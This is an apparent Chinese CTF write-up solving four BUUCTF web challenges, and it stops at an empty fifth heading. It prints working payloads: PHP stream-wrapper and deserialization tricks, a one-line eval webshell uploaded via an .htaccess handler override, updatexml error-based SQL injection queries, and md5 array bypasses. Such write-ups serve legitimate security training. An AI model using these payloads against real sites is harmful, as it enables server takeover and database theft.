一.[ZJCTF 2019]NiZhuanSiWei
看到注释有 useless.php于是访问一下
发现什么都没有
代码审计:有这样一行代码isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf",我们需要传入一个内容为welcome to the zjctf的文件。这时就要用到data协议
data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码。构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=。
然后有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:file=php://filter/read=convert.base64-encode/resource=useless.php。
得到以下经过base64加密的字符,
然后base64解密,得到 useless.php的内容
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
需要调用flag,序列化处理
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
结果为:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码
二.[MRCTF2020]你传你🐎呢
先试着个一句话木马上去<?php @eval($_POST['test']);?>
上传失败,
接着又试了试图片马,
失败了
然后 上传.htaccess文件,用来改变文件扩展名
<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "a.png">指定的是要上传的文件,注意文件名必须相同
上传时先抓包,修改Content-Type:image/png
点击forward,上传成功
第二个:木马文件,用来连接蚁剑或菜刀
上传时同样修改Content-Type:image/png
用蚁剑连接:http://93ac29f7-de06-4936-9f07-9b157b4704d2.node4.buuoj.cn:81/upload/fa59a7192463c0cd3dae65088e762e1f/a.png
得到flag
三. [极客大挑战 2019]HardSQL
sql注入的题目
先试万能密码,很明显被ban了 是报错注入
查数据库的信息,得到geek
/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
查表,得到H4rDsq1
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
查字段,得到id,username,password
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123
查数据,首先得到了一半的flag
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=123
flag{2ec69aaf-c092-47f5-9e
再用left()right()语句进行查询拼接
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123
2-47f5-9e5e-cf80d3d28e85}
得到flag
flag{2ec69aaf-c092-47f5-9e5e-cf80d3d28e85}
四.[MRCTF2020]Ez_bypass
F12查看源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
这里要求md5($id) === md5($gg) && $id !== $gg
md5($v1)===md5($v2)
数组绕过:a[]=a&b[]=b
最后可能会报错,但是null=null
,判断为true,成功绕过
使用数组绕过:/?id[]=a&gg[]=b
接着要以POST传参
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
其中is_numeric()
函数用于检测变量是否为数字或数字字符串。这里要求passwd不是数字或数字字符串时,弱等于判断passwd是否等于1234567
故构造payload:passwd=1234567a
得到flag
五.[SUCTF 2019]CheckIn